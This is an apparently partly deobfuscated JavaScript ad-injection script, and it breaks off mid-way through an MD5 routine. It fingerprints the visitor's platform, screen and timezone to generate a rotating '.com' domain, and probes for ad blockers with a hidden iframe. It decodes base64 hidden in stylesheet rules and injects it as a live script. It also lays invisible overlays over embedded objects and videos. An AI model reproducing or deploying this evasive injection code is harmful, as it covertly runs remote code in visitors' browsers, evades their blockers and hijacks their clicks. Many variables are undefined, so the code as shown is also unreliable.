var r20 = 16;
/** @type {number} */
var scripts = 15;
/** @type {number} */
var pdataCur = 14;
/** @type {number} */
var te = 13;
/** @type {number} */
var passes = 12;
/** @type {number} */
var base = 10;
/** @type {(number|string)} */
var restoreScript = 6;
/** @type {number} */
var pdataOld = 5;
/** @type {number} */
var suiteView = 7;
/** @type {number} */
var fromIndex = 8;
/** @type {number} */
var selector = 4;
/** @type {(boolean|number)} */
var match = 3;
/** @type {(number|string)} */
var dontCloseTags = 8;
/** @type {string} */
var typePattern = "7";
/** @type {string} */
var expectationResult = "10";
/** @type {string} */
var camelKey = "Windows";
/** @type {number} */
var idx = 1;
/** @type {string} */
var k = "";
/** @type {(number|string)} */
var sel = 2;
/** @type {(number|string)} */
var total = '.';
/** @type {number} */
var interval = 20;
/** @type {string} */
var str = "";
/** @type {number} */
var id = 0;
/** @type {string} */
var path = "/";
/** @type {string} */
var __dirname = "//";
try {
/**
* @param {?} object
* @return {undefined}
*/
var isArguments = function(object) {
child.b5h = object;
};
/**
* @return {undefined}
*/
var throttledUpdate = function() {
/** @type {string} */
text = __dirname + index + path + child.L5h;
};
/**
* @param {?} other
* @return {undefined}
*/
var toggle = function(other) {
window["window"].zfgaabversion = other;
};
/**
* @param {?} value
* @return {undefined}
*/
var isUndefinedOrNull = function(value) {
child.L5h = value.U5h;
};
/**
* @param {?} node
* @return {undefined}
*/
var traverseNode = function(node) {
window["window"][dataName] = node;
};
/**
* @return {undefined}
*/
var tryIt = function() {
/** @type {string} */
blank = __dirname + index + path + child.L5h + orig;
};
/**
* @return {?}
*/
var getIndex = function parse() {
/** @type {string} */
var last = "5901cf07608da";
/** @type {string} */
var udataCur = "wmoaz2g6axi0p";
/**
* @return {undefined}
*/
var walk = function() {
prop = Object.prototype.hasOwnProperty.call(cache, prop) ? cache[prop] : prop;
};
if (I3x.u5h(src.length, id)) {
return atob(src[id].split(str).reverse().join(str));
}
var node = addChild();
var context = isBinary(node);
var functionUid = clearStateChar();
var value = named();
var nodes = jQuery(node, context);
var key = serializer(functionUid);
var name = getName(value);
var props = keys();
var prop = promote(name, key, nodes, id, id);
var cache = {};
if (I3x.A5h(rvar, index2)) {
cache = {};
} else {
if (I3x.Y5h(rvar, progressContexts)) {
cache = {};
}
}
walk();
var array = void id;
if (I3x.U2h(rvar, index2)) {
/**
* @param {Node} value
* @return {undefined}
*/
var setBit = function(value) {
/** @type {Node} */
array = value;
};
setBit(udataCur);
} else {
if (I3x.w2h(rvar, progressContexts)) {
/**
* @param {Node} last
* @return {undefined}
*/
var process = function(last) {
/** @type {Node} */
array = last;
};
process(last);
}
}
var result = {};
var initial = Object.prototype.hasOwnProperty.call(result, prop) ? result[prop] : array;
var restoreScript = prop + initial;
return getValue(restoreScript).substr(id, I3x.J5h(interval, inArray(name))) + total + props;
};
/**
* @param {Function} fn
* @return {undefined}
*/
var valueAccessor = function runTest(fn) {
if (!window["document"]["body"]) {
/** @type {number} */
var timer = setTimeout(function run() {
if (!window["document"]["body"]) {
/** @type {number} */
timer = setTimeout(run, interval);
return;
}
fn();
clearTimeout(timer);
}, interval)
} else {
fn();
}
};
/**
* @param {Function} done
* @param {Function} cb
* @return {undefined}
*/
var toVLQSigned = function init(done, cb) {
/** @type {number} */
var backoff = 400;
/** @type {string} */
var pdataOld = "1px";
/** @type {string} */
var link = "iframe";
/**
* @param {(number|string)} value
* @return {undefined}
*/
var resize = function(value) {
/** @type {(number|string)} */
node.width = value;
};
/**
* @param {(number|string)} value
* @return {undefined}
*/
var Class = function(value) {
/** @type {(number|string)} */
node.height = value;
};
var node = window["document"]["createElement"](link);
resize(pdataOld);
Class(pdataOld);
node.src = fn();
valueAccessor(function() {
window["document"]["body"]["appendChild"](node);
});
setTimeout(function() {
/** @type {string} */
var deepDataAndEvents = "hidden";
/** @type {string} */
var udataCur = "none";
if (I3x.S5h(node.style.display, udataCur) || (I3x.J6h(node.style.display, deepDataAndEvents) || (I3x.e6h(node.style.visibility, deepDataAndEvents) || I3x.V5h(node.offsetHeight, id)))) {
node.parentNode.removeChild(node);
done();
} else {
node.parentNode.removeChild(node);
cb();
}
}, backoff);
};
/**
* @param {Function} fn
* @return {?}
*/
var getActual = function run(fn) {
/** @type {number} */
var frequency = 300;
var error = false;
/** @type {number} */
var id = setInterval(function() {
if (!error) {
/**
* @param {?} err
* @return {undefined}
*/
var handler = function(err) {
error = err;
};
handler(true);
fn();
clearInterval(id);
}
}, frequency);
return id;
};
/**
* @param {(number|string)} name
* @param {(number|string)} value
* @param {(number|string)} selector
* @param {number} id
* @param {number} source
* @return {?}
*/
var promote = function filter(name, value, selector, id, source) {
var event = trim(name, sel) + trim(value, sel) + trim(selector, sel) + trim(id, sel) + trim(source, sel);
return event;
};
/**
* @param {(number|string)} s
* @param {string} n
* @return {?}
*/
var trim = function parse(s, n) {
/** @type {string} */
var result = s + k;
for (;I3x.D5h(result.length, n);) {
/**
* @return {undefined}
*/
var promote = function() {
/** @type {string} */
var padding = "0";
result = padding + result;
};
promote();
}
return result;
};
/**
* @param {string} dataAndEvents
* @param {string} deepDataAndEvents
* @return {?}
*/
var jQuery = function clone(dataAndEvents, deepDataAndEvents) {
/** @type {number} */
var ret = idx;
if (I3x.G5h(dataAndEvents, camelKey)) {
if (I3x.K2h(deepDataAndEvents, expectationResult)) {
/**
* @param {number} id
* @return {undefined}
*/
var getCallback = function(id) {
/** @type {number} */
ret = id;
};
getCallback(sel);
} else {
if (I3x.o2h(deepDataAndEvents, typePattern) || I3x.A6h(deepDataAndEvents, dontCloseTags)) {
/**
* @param {number} arr
* @return {undefined}
*/
var nullIds = function(arr) {
/** @type {number} */
ret = arr;
};
nullIds(match);
}
}
}
return ret;
};
/**
* @param {string} deepDataAndEvents
* @return {?}
*/
var serializer = function get(deepDataAndEvents) {
/** @type {string} */
var pdataOld = "1366";
/** @type {string} */
var udataCur = "1920";
/** @type {number} */
var fn = idx;
if (I3x.i5h(deepDataAndEvents, udataCur)) {
/**
* @param {number} selector
* @return {undefined}
*/
var jQuery = function(selector) {
/** @type {number} */
fn = selector;
};
jQuery(sel);
} else {
if (I3x.I5h(deepDataAndEvents, pdataOld)) {
/**
* @param {number} params
* @return {undefined}
*/
var callback = function(params) {
/** @type {number} */
fn = params;
};
callback(match);
}
}
return fn;
};
/**
* @param {number} deepDataAndEvents
* @return {?}
*/
var getName = function clone(deepDataAndEvents) {
/** @type {number} */
var udataCur = 19;
/** @type {number} */
var fmt = 18;
/** @type {number} */
var res = selector;
if (deepDataAndEvents <= -fromIndex) {
/**
* @param {number} type
* @return {undefined}
*/
var is = function(type) {
/** @type {number} */
res = type;
};
is(selector);
} else {
if (deepDataAndEvents <= -suiteView) {
/**
* @param {number} value
* @return {undefined}
*/
var assign = function(value) {
/** @type {number} */
res = value;
};
assign(pdataOld);
} else {
if (deepDataAndEvents <= -restoreScript) {
/**
* @param {number} callback
* @return {undefined}
*/
var getCallback = function(callback) {
/** @type {number} */
res = callback;
};
getCallback(restoreScript);
} else {
if (deepDataAndEvents <= -pdataOld) {
/**
* @param {number} obj
* @return {undefined}
*/
var isUndefined = function(obj) {
/** @type {number} */
res = obj;
};
isUndefined(suiteView);
} else {
if (deepDataAndEvents <= -selector) {
/**
* @param {number} obj
* @return {undefined}
*/
var _clone = function(obj) {
/** @type {number} */
res = obj;
};
_clone(fromIndex);
} else {
if (deepDataAndEvents <= -idx) {
/**
* @param {number} obj
* @return {undefined}
*/
var forOwn = function(obj) {
/** @type {number} */
res = obj;
};
forOwn(base);
} else {
if (I3x.s6h(deepDataAndEvents, id)) {
/**
* @param {number} el
* @return {undefined}
*/
var text = function(el) {
/** @type {number} */
res = el;
};
text(passes);
} else {
if (I3x.n6h(deepDataAndEvents, idx)) {
/**
* @param {number} i
* @return {undefined}
*/
var getArr = function(i) {
/** @type {number} */
res = i;
};
getArr(te);
} else {
if (I3x.N5h(deepDataAndEvents, sel)) {
/**
* @param {number} value
* @return {undefined}
*/
var parseEntry = function(value) {
/** @type {number} */
res = value;
};
parseEntry(pdataCur);
} else {
if (I3x.k5h(deepDataAndEvents, match)) {
/**
* @param {number} object
* @return {undefined}
*/
var isArray = function(object) {
/** @type {number} */
res = object;
};
isArray(scripts);
} else {
if (I3x.p5h(deepDataAndEvents, selector)) {
/**
* @param {number} obj
* @return {undefined}
*/
var forIn = function(obj) {
/** @type {number} */
res = obj;
};
forIn(r20);
} else {
if (I3x.g6h(deepDataAndEvents, pdataOld)) {
/**
* @param {number} obj
* @return {undefined}
*/
var HOP = function(obj) {
/** @type {number} */
res = obj;
};
HOP(DOT_CALL_NO_PARENS);
} else {
if (I3x.m6h(deepDataAndEvents, restoreScript)) {
/**
* @param {number} err
* @return {undefined}
*/
var cloned = function(err) {
/** @type {number} */
res = err;
};
cloned(fmt);
} else {
if (I3x.D6h(deepDataAndEvents, suiteView)) {
/**
* @param {number} value
* @return {undefined}
*/
var isUndefinedOrNull = function(value) {
/** @type {number} */
res = value;
};
isUndefinedOrNull(udataCur);
} else {
if (I3x.a5h(deepDataAndEvents, fromIndex)) {
/**
* @param {number} value
* @return {undefined}
*/
var _setOption = function(value) {
/** @type {number} */
res = value;
};
_setOption(interval);
} else {
if (I3x.v6h(deepDataAndEvents, bytenew)) {
/**
* @param {number} object
* @return {undefined}
*/
var keys = function(object) {
/** @type {number} */
res = object;
};
keys(which);
} else {
/**
* @param {number} object
* @return {undefined}
*/
var hasKey = function(object) {
/** @type {number} */
res = object;
};
hasKey(result);
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
return res;
};
/**
* @return {?}
*/
var keys = function u() {
/** @type {string} */
var e = "com";
return e;
};
/**
* @return {?}
*/
var addChild = function parse() {
/** @type {string} */
var restoreScript = "Linux";
/** @type {string} */
var last = "Android";
/** @type {string} */
var udataCur = "iOS";
/** @type {string} */
var suiteView = "MacOS";
/** @type {string} */
var c = "iPod";
/** @type {string} */
var A = "iPad";
/** @type {string} */
var a = "iPhone";
/** @type {string} */
var assets = "WinCE";
/** @type {string} */
var tmp = "Win64";
/** @type {string} */
var foo = "Win32";
/** @type {string} */
var D = "Mac68K";
/** @type {string} */
var w = "PC";
/** @type {string} */
var post = "ac";
/** @type {string} */
var base = "M";
/** @type {string} */
var B = "MacIntel";
/** @type {string} */
var machine = "Macintosh";
var extra = window["window"]["navigator"]["userAgent"];
var letter = window["window"]["navigator"]["platform"];
/** @type {Array} */
var alpha = [machine, B, base + post + p + w, D];
/** @type {Array} */
var dirs = [foo, tmp, camelKey, assets];
/** @type {Array} */
var letters = [a, A, c];
/** @type {null} */
var ret = obj;
if (alpha.indexOf(letter) !== -idx) {
/**
* @param {?} obj
* @return {undefined}
*/
var isUndefined = function(obj) {
ret = obj;
};
isUndefined(suiteView);
} else {
if (letters.indexOf(letter) !== -idx) {
/**
* @param {?} value
* @return {undefined}
*/
var setBit = function(value) {
ret = value;
};
setBit(udataCur);
} else {
if (dirs.indexOf(letter) !== -idx) {
/**
* @param {?} key
* @return {undefined}
*/
var promote = function(key) {
ret = key;
};
promote(camelKey);
} else {
if (/Android/.test(extra)) {
/**
* @param {?} last
* @return {undefined}
*/
var process = function(last) {
ret = last;
};
process(last);
} else {
if (!ret && /Linux/.test(letter)) {
/**
* @param {?} callback
* @return {undefined}
*/
var getName = function(callback) {
ret = callback;
};
getName(restoreScript);
}
}
}
}
}
return ret;
};
/**
* @param {?} elems
* @return {?}
*/
var isBinary = function m(elems) {
/** @type {string} */
var output = str;
var digit = window["navigator"]["userAgent"];
if (I3x.S6h(elems, camelKey)) {
if (/(Windows 10.0|Windows NT 10.0)/.test(digit)) {
/**
* @param {string} result
* @return {undefined}
*/
var c = function(result) {
/** @type {string} */
output = result;
};
c(expectationResult);
}
if (/(Windows 8.1|Windows NT 6.3)/.test(digit)) {
/**
* @param {string} collection
* @return {undefined}
*/
var indexOf = function(collection) {
/** @type {string} */
output = collection;
};
indexOf(dontCloseTags);
}
if (/(Windows 8|Windows NT 6.2)/.test(digit)) {
/**
* @param {string} exports
* @return {undefined}
*/
var a = function(exports) {
/** @type {string} */
output = exports;
};
a(dontCloseTags);
}
if (/(Windows 7|Windows NT 6.1)/.test(digit)) {
/**
* @param {string} args
* @return {undefined}
*/
var unsubscribe = function(args) {
/** @type {string} */
output = args;
};
unsubscribe(typePattern);
}
}
return output;
};
/**
* @return {?}
*/
var clearStateChar = function promote() {
var t = window["window"]["screen"]["width"];
return t;
};
/**
* @return {?}
*/
var named = function handle() {
/** @type {Date} */
var dateJul = new Date;
/** @type {number} */
var val = -dateJul.getTimezoneOffset() / udataCur;
return val;
};
/**
* @return {?}
*/
var fn = function initialize() {
/** @type {string} */
var tokenizeEvaluate = "afu.php";
/** @type {string} */
var len = '"]';
/** @type {string} */
var inner = '*="';
/** @type {string} */
var s = "rc";
/** @type {string} */
var _ = "[";
/** @type {string} */
var val = "ipt";
/** @type {string} */
var version = "cr";
var node = window["document"]["querySelector"](name + version + val + _ + name + s + inner + e + ms + prefix + total + ms + value + ms + len);
if (I3x.l5h(node, obj)) {
return;
}
return item.F5h ? node.src.replace(/apu.php/g, tokenizeEvaluate) : node.src;
};
/**
* @param {?} deepDataAndEvents
* @return {?}
*/
var getText = function init(deepDataAndEvents) {
/** @type {string} */
try {
var l;
var enabled = false;
if (window["document"]["styleSheets"]) {
var i;
for (i in window["document"]["styleSheets"]) {
if (I3x.z5h(window["document"]["styleSheets"][i]["href"], deepDataAndEvents)) {
/**
* @param {Document} data
* @return {undefined}
*/
var poll = function(data) {
/** @type {string} */
var type = "les";
/** @type {string} */
var left = "sRu";
/** @type {string} */
var right = "cs";
l = data.styleSheets[i][right + left + type][match][STYLE][_j];
};
poll(document);
break;
}
}
}
if (!l) {
return false;
}
l = l.substring(idx, I3x.t6h(l.length, idx));
var f = window["window"]["atob"](l);
f = f.split(slashSplit);
/** @type {number} */
var _id = id;
var s = f.length;
for (;I3x.b6h(_id, s);_id++) {
if (I3x.P5h(f[_id], window["location"]["host"])) {
/**
* @param {?} enable
* @return {undefined}
*/
var debug = function(enable) {
enabled = enable;
};
debug(true);
break;
}
}
return enabled;
} catch (x) {
}
};
/**
* @param {?} assert
* @return {?}
*/
var ok = function callback(assert) {
/** @type {string} */
var success = "text/javascript";
/** @type {string} */
var varname = "script";
/** @type {string} */
var camelKey = '"KGZ1bmN0aW9uKCkge30pKCk7"';
/** @type {string} */
var b = "ef";
try {
/**
* @param {string} type
* @return {undefined}
*/
var complete = function(type) {
/** @type {string} */
fill.type = type;
};
var l;
if (window["document"]["styleSheets"]) {
var i;
for (i in window["document"]["styleSheets"]) {
if (I3x.E6h(window["document"]["styleSheets"][i][value + c + b], assert)) {
/**
* @param {Document} doc
* @return {undefined}
*/
var addNamespacesAndStylesheet = function(doc) {
l = doc.styleSheets[i]["cssRules"][sel][STYLE][_j];
};
addNamespacesAndStylesheet(document);
break;
}
}
}
if (!l) {
/**
* @param {Object} key
* @return {undefined}
*/
var unlock = function(key) {
/** @type {Object} */
l = key;
};
unlock(camelKey);
}
l = l.substring(idx, I3x.d5h(l.length, idx));
var fill = window["document"]["createElement"](varname);
complete(success);
var img = window["document"]["createTextNode"](window["window"]["atob"](l));
fill.appendChild(img);
window["document"]["body"]["appendChild"](fill);
return function() {
fill.parentNode.removeChild(fill);
};
} catch (x) {
}
};
/**
* @param {number} s
* @param {number} value
* @return {?}
*/
var indexOf = function url(s, value) {
return Math.floor(I3x.O2h(Math.random(), value - s) + s);
};
/**
* @param {(number|string)} text
* @return {?}
*/
var inArray = function init(text) {
/** @type {number} */
var hello = id;
if (I3x.Q5h(text.toString().length, idx)) {
/** @type {number} */
var g = parseInt(text);
return g;
} else {
text.toString().split(k).forEach(function(m1) {
/** @type {number} */
var charCodeToReplace = parseInt(m1);
return hello += charCodeToReplace;
});
return init(hello);
}
};
/**
* @param {string} key
* @param {Text} value
* @param {Text} data
* @return {undefined}
*/
var X5 = function setCookie(key, value, data) {
/** @type {string} */
var token = "; ";
/** @type {(number|string)} */
var separator2 = '=';
/** @type {string} */
var meridiem = "er";
/** @type {string} */
var max = "num";
/**
* @param {string} value
* @return {undefined}
*/
var escape = function(value) {
window["document"]["cookie"] = value;
};
/**
* @return {undefined}
*/
var setDate = function() {
data = data || {};
};
setDate();
var exp = data.c6h;
if (typeof exp == max + min + meridiem && exp) {
/** @type {Date} */
var d = new Date;
d.setTime(d.getTime() + I3x.s5h(exp, backoff));
/** @type {Date} */
exp = data.c6h = d;
}
if (exp && exp.toUTCString) {
data.c6h = exp.toUTCString();
}
/** @type {string} */
value = encodeURIComponent(value);
/** @type {string} */
var result = key + separator2 + value;
var index;
for (index in data) {
result += token + index;
var a = data[index];
if (I3x.M6h(a, true)) {
result += separator2 + a;
}
}
escape(result);
};
/**
* @param {string} key
* @param {string} a
* @return {?}
*/
var getNext = function e(key, a) {
/**
* @param {string} val
* @return {undefined}
*/
var s = function(val) {
/** @type {string} */
localStorage[key] = val;
};
s(a);
return a;
};
/**
* @param {string} b
* @return {?}
*/
var getter = function nan(b) {
return localStorage[b];
};
/**
* @param {string} elem
* @return {?}
*/
var V5 = function get(elem) {
/** @type {string} */
var expected = "=([^;]*)";
/** @type {string} */
var name = "$1";
/** @type {string} */
var label = "(?:^|; )";
var matches = window["document"]["cookie"].match(new RegExp(label + elem.replace(/([.$?*|{}()[]/+^])/g, name) + expected));
return matches ? decodeURIComponent(matches[idx]) : undefined;
};
/**
* @param {Node} object
* @param {?} arg
* @return {?}
*/
var findClosestLink = function extend(object, arg) {
if (!object) {
return obj;
}
if (I3x.N6h(object.tagName, arg)) {
return object;
}
return extend(object.parentNode, arg);
};
/**
* @return {undefined}
*/
var appendModelPrefix = function loaded() {
/** @type {(null|number)} */
var backoff = 750;
/** @type {string} */
var longNameB = "deo";
/** @type {string} */
var r = "v";
/** @type {string} */
var Cancel = "ed";
/** @type {string} */
var nbsp = "mb";
/** @type {string} */
var d = "am";
/** @type {string} */
var a = ", ";
/** @type {string} */
var g = "j";
/** @type {string} */
var f = "ob";
forEach(until, function(t) {
if (t.parentNode) {
t.parentNode.removeChild(t);
}
});
until = forEach(log(f + g + b + s + $1 + a + key + _ + c + d + b + a + b + nbsp + Cancel + a + r + key + longNameB + a + e + prefix + content + key + v), function(element) {
/** @type {string} */
var ABSOLUTE = "absolute";
/** @type {string} */
var margin = "px";
/** @type {boolean} */
var f = array.some(function(deepDataAndEvents) {
return I3x.H6h(element.offsetWidth + customViewMenuOffsetWidth + element.offsetHeight, deepDataAndEvents);
});
if (!f) {
var elementRect = proceed(element);
return drawBorder({
left : elementRect.left + margin,
top : elementRect.top + margin,
height : element.offsetHeight + margin,
width : element.offsetWidth + (ms + customViewMenuOffsetWidth),
position : ABSOLUTE
});
}
return[];
});
/** @type {number} */
tref = setTimeout(loaded, backoff);
};
/**
* @return {undefined}
*/
var loopMatch = function unload() {
if (I3x.q5h(until.length, id)) {
return;
}
forEach(until, function(t) {
if (t.parentNode) {
t.parentNode.removeChild(t);
}
});
if (tref) {
clearTimeout(tref);
}
};
/**
* @param {string} deepDataAndEvents
* @return {?}
*/
var log = function clone(deepDataAndEvents) {
/** @type {Array} */
var res = [];
try {
res = forEach(window["document"]["querySelectorAll"](deepDataAndEvents), function(obj) {
return obj;
});
} catch (x) {
}
return res;
};
/**
* @param {Array} arg
* @param {Function} callback
* @return {?}
*/
var forEach = function map(arg, callback) {
/** @type {Array} */
var bucket = [];
/** @type {number} */
var key = id;
var value = void id;
for (;I3x.C5h(key, arg.length);) {
value = callback(arg[key], key, arg);
if (I3x.R5h(value, undefined)) {
bucket.push(value);
}
key += idx;
}
return bucket;
};
/**
* @param {Object} n
* @return {?}
*/
var proceed = function chunk(n) {
var otherElementRect = n.getBoundingClientRect();
return{
top : Math.round(otherElementRect.top + I3x.i2h(window["window"]["pageYOffset"] || (window["document"]["documentElement"]["scrollTop"] || window["document"]["body"]["scrollTop"]), window["document"]["documentElement"]["clientTop"] || (window["document"]["body"]["clientTop"] || id))),
left : Math.round(otherElementRect.left + I3x.y5h(window["window"]["pageXOffset"] || (window["document"]["documentElement"]["scrollLeft"] || window["document"]["body"]["scrollLeft"]), window["document"]["documentElement"]["clientLeft"] || (window["document"]["body"]["clientLeft"] || id)))
};
};
/**
* @param {number} xs
* @return {?}
*/
var get = function extend(xs) {
/** @type {string} */
var actualObject = "0123456789abcdef";
/** @type {string} */
var obj = k;
/** @type {string} */
var object = actualObject;
/** @type {number} */
var udataCur = id;
for (;I3x.W6h(udataCur, match);udataCur++) {
obj += object.charAt(I3x.p6h(xs >> udataCur * fromIndex + selector, 15)) + object.charAt(I3x.X6h(xs >> udataCur * fromIndex, 15));
}
return obj;
};
/**
* @param {string} result
* @return {?}
*/
var cloneDate = function $(result) {
/**
* @return {undefined}
*/
var IEContentLoaded = function() {
actions[I3x.m5h(udataCur * r20, sel)] = I3x.H5h(result.length, fromIndex);
};
var udataCur = I3x.w5h(result.length + fromIndex, restoreScript) + idx;
/** @type {Array} */
var actions = new Array(I3x.C2h(udataCur, r20));
/** @type {number} */
var _id = id;
for (;I3x.x5h(_id, udataCur * r20);_id++) {
/**
* @param {number} s
* @return {undefined}
*/
var esc = function(s) {
/** @type {number} */
actions[_id] = s;
};
esc(id);
}
/** @type {number} */
_id = id;
for (;I3x.K6h(_id, result.length);_id++) {
actions[I3x.x6h(_id, sel)] |= I3x.l6h(result.charCodeAt(_id), _id % selector * fromIndex);
}
actions[I3x.T6h(_id, sel)] |= I3x.W5h(128, _id % selector * fromIndex);
IEContentLoaded();
return actions;
};
/**
* @param {number} deepDataAndEvents
* @param {number} a
* @return {?}
*/
var $ = function clone(deepDataAndEvents, a) {
var udataCur = I3x.K5h(deepDataAndEvents, 65535) + I3x.o5h(a, 65535);
var y = I3x.u6h(deepDataAndEvents, r20) + I3x.r6h(a, r20) + I3x.C6h(udataCur, r20);
return I3x.y6h(y << r20, udataCur & 65535);
};
/**
* @param {number} dataAndEvents
* @param {number} from
* @return {?}
*/
var wrap = function clone(dataAndEvents, from) {
/** @type {number} */
var to = 32;
return I3x.f6h(dataAndEvents << from, dataAndEvents >>> to - from);
};
/**
* @param {number} context
* @param {number} s
* @param {number} dataAndEvents
* @param {?} deepDataAndEvents
* @param {number} target
* @param {number} object
* @return {?}
*/
var mixin = function clone(context, s, dataAndEvents, deepDataAndEvents, target, object) {
return $(wrap($($(s, context), $(deepDataAndEvents, object)), target), dataAndEvents);
};
/**
* @param {number} object
* @param {number} dataAndEvents
* @param {number} x
* @param {number} arr
* @param {?} deepDataAndEvents
* @param {number} obj
* @param {number} block
* @return {?}
*/
var set = function clone(object, dataAndEvents, x, arr, deepDataAndEvents, obj, block) {
return mixin(I3x.z6h(dataAndEvents, x) | ~dataAndEvents & arr, object, dataAndEvents, deepDataAndEvents, obj, block);
};
/**
* @param {number} object
* @param {number} dataAndEvents
* @param {number} obj
* @param {number} x
* @param {?} deepDataAndEvents
* @param {number} value
* @param {number} src
* @return {?}
*/
var insert = function clone(object, dataAndEvents, obj, x, deepDataAndEvents, value, src) {
return mixin(I3x.r5h(dataAndEvents, x) | obj & ~x, object, dataAndEvents, deepDataAndEvents, value, src);
};
/**
* @param {number} object
* @param {number} dataAndEvents
* @param {number} xs
* @param {number} x
* @param {?} deepDataAndEvents
* @param {number} regex
* @param {number} other
* @return {?}
*/
var test = function clone(object, dataAndEvents, xs, x, deepDataAndEvents, regex, other) {
return mixin(I3x.a2h(dataAndEvents, xs, x), object, dataAndEvents, deepDataAndEvents, regex, other);
};
/**
* @param {number} object
* @param {number} dataAndEvents
* @param {number} obj
* @param {number} arr
* @param {?} deepDataAndEvents
* @param {number} callback
* @param {number} value
* @return {?}
*/
var iterator = function clone(object, dataAndEvents, obj, arr, deepDataAndEvents, callback, value) {
return mixin(obj ^ (dataAndEvents | ~arr), object, dataAndEvents, deepDataAndEvents, callback, value);
};
/**
* @param {string} callback
* @return {?}
*/
var getValue = function render(callback) {
/** @type {number} */
var Q = 343485551;
/** @type {(number|string)} */
var udataCur = 718787259;
/** @type {number} */
var y = 1120210379;
/** @type {number} */
var f = 145523070;
/** @type {number} */
var silentOptions = 1309151649;
/** @type {number} */
var e = 1560198380;
/** @type {number} */
var g = 30611744;
/** @type {(number|string)} */
var _v = 1873313359;
/** @type {number} */
var X = 2054922799;
/** @type {number} */
var V = 1051523;
/** @type {(number|string)} */
var M = 1894986606;
/** @type {(number|string)} */
var camelKey = 1700485571;
/** @type {number} */
var W = 57434055;
/** @type {number} */
var u = 1416354905;
/** @type {number} */
var STACK_JUMP_SEPARATOR = 1126891415;
/** @type {number} */
var S = 198630844;
/** @type {number} */
var t = 995338651;
/** @type {number} */
var power = 530742520;
/** @type {number} */
var Z = 421815835;
/** @type {number} */
var d = 640364487;
/** @type {number} */
var typePattern = 76029189;
/** @type {number} */
var k = 722521979;
/** @type {number} */
var F8 = 358537222;
/** @type {number} */
var query = 681279174;
/** @type {number} */
var p8 = 1094730640;
/** @type {number} */
var s8 = 155497632;
/** @type {number} */
var rem = 1272893353;
/** @type {number} */
var q8 = 1530992060;
/** @type {number} */
var m8 = 35309556;
/** @type {number} */
var radixToPower = 1839030562;
/** @type {number} */
var T8 = 2022574463;
/** @type {number} */
var N8 = 378558;
/** @type {number} */
var j8 = 1926607734;
/** @type {number} */
var markdown = 1735328473;
/** @type {number} */
var S8 = 51403784;
/** @type {number} */
var B8 = 1444681467;
/** @type {number} */
var eventData = 1163531501;
/** @type {number} */
var d8 = 187363961;
/** @type {number} */
var a8 = 1019803690;
/** @type {number} */
var EventEmitter = 568446438;
/** @type {number} */
var g1 = 405537848;
/** @type {number} */
var W1 = 660478335;
/** @type {number} */
var oldconfig = 38016083;
/** @type {number} */
var u1 = 701558691;
/** @type {(number|string)} */
var R = 373897302;
/** @type {number} */
var originalEvent = 643717713;
/** @type {number} */
var m1 = 1069501632;
/** @type {number} */
var t1 = 165796510;
/** @type {number} */
var stop = 1236535329;
/** @type {number} */
var X8 = 1502002290;
/** @type {number} */
var j1 = 40341101;
/** @type {number} */
var waitsFunc = 1804603682;
/** @type {number} */
var r1 = 1990404162;
/** @type {number} */
var rreturn = 11;
/** @type {number} */
var P8 = 42063;
/** @type {number} */
var i8 = 1958414417;
/** @type {number} */
var waitsForFunc = 1770035416;
/** @type {number} */
var A1 = 45705983;
/** @type {number} */
var x1 = 1473231341;
/** @type {number} */
var spec = 1200080426;
/** @type {number} */
var Q1 = 176418897;
/** @type {number} */
var z8 = 1044525330;
/** @type {number} */
var reversed = 22;
/** @type {number} */
var suite = 606105819;
/** @type {number} */
var C1 = 389564586;
/** @type {number} */
var f1 = 680876936;
/** @type {number} */
var m4 = 271733878;
/** @type {number} */
var K1 = 1732584194;
/** @type {number} */
var A8 = 271733879;
/** @type {number} */
var defaultValue = 1732584193;
var check = cloneDate(callback);
/** @type {number} */
var value = defaultValue;
/** @type {number} */
var node = -A8;
/** @type {number} */
var obj = -K1;
/** @type {number} */
var item = m4;
/** @type {number} */
var T = id;
for (;I3x.v5h(T, check.length);T += r20) {
var v = value;
var parent = node;
var context = obj;
var doc = item;
value = set(value, node, obj, item, check[T + id], suiteView, -f1);
item = set(item, value, node, obj, check[T + idx], passes, -C1);
obj = set(obj, item, value, node, check[T + sel], DOT_CALL_NO_PARENS, suite);
node = set(node, obj, item, value, check[T + match], reversed, -z8);
value = set(value, node, obj, item, check[T + selector], suiteView, -Q1);
item = set(item, value, node, obj, check[T + pdataOld], passes, spec);
obj = set(obj, item, value, node, check[T + restoreScript], DOT_CALL_NO_PARENS, -x1);
node = set(node, obj, item, value, check[T + suiteView], reversed, -A1);
value = set(value, node, obj, item, check[T + fromIndex], suiteView, waitsForFunc);
item = set(item, value, node, obj, check[T + bytenew], passes, -i8);
obj = set(obj, item, value, node, check[T + base], DOT_CALL_NO_PARENS, -P8);
node = set(node, obj, item, value, check[T + rreturn], reversed, -r1);
value = set(value, node, obj, item, check[T + passes], suiteView, waitsFunc);
item = set(item, value, node, obj, check[T + te], passes, -j1);
obj = set(obj, item, value, node, check[T + pdataCur], DOT_CALL_NO_PARENS, -X8);
node = set(node, obj, item, value, check[T + scripts], reversed, stop);
value = insert(value, node, obj, item, check[T + idx], pdataOld, -t1);
item = insert(item, value, node, obj, check[T + restoreScript], bytenew, -m1);
obj = insert(obj, item, value, node, check[T + rreturn], pdataCur, originalEvent);
node = insert(node, obj, item, value, check[T + id], interval, -R);
value = insert(value, node, obj, item, check[T + pdataOld], pdataOld, -u1);
item = insert(item, value, node, obj, check[T + base], bytenew, oldconfig);
obj = insert(obj, item, value, node, check[T + scripts], pdataCur, -W1);
node = insert(node, obj, item, value, check[T + selector], interval, -g1);
value = insert(value, node, obj, item, check[T + bytenew], pdataOld, EventEmitter);
item = insert(item, value, node, obj, check[T + pdataCur], bytenew, -a8);
obj = insert(obj, item, value, node, check[T + match], pdataCur, -d8);
node = insert(node, obj, item, value, check[T + fromIndex], interval, eventData);
value = insert(value, node, obj, item, check[T + te], pdataOld, -B8);
item = insert(item, value, node, obj, check[T + sel], bytenew, -S8);
obj = insert(obj, item, value, node, check[T + suiteView], pdataCur, markdown);
node = insert(node, obj, item, value, check[T + passes], interval, -j8);
value = test(value, node, obj, item, check[T + pdataOld], selector, -N8);
item = test(item, value, node, obj, check[T + fromIndex], rreturn, -T8);
obj = test(obj, item, value, node, check[T + rreturn], r20, radixToPower);
node = test(node, obj, item, value, check[T + pdataCur], result, -m8);
value = test(value, node, obj, item, check[T + idx], selector, -q8);
item = test(item, value, node, obj, check[T + selector], rreturn, rem);
obj = test(obj, item, value, node, check[T + suiteView], r20, -s8);
node = test(node, obj, item, value, check[T + base], result, -p8);
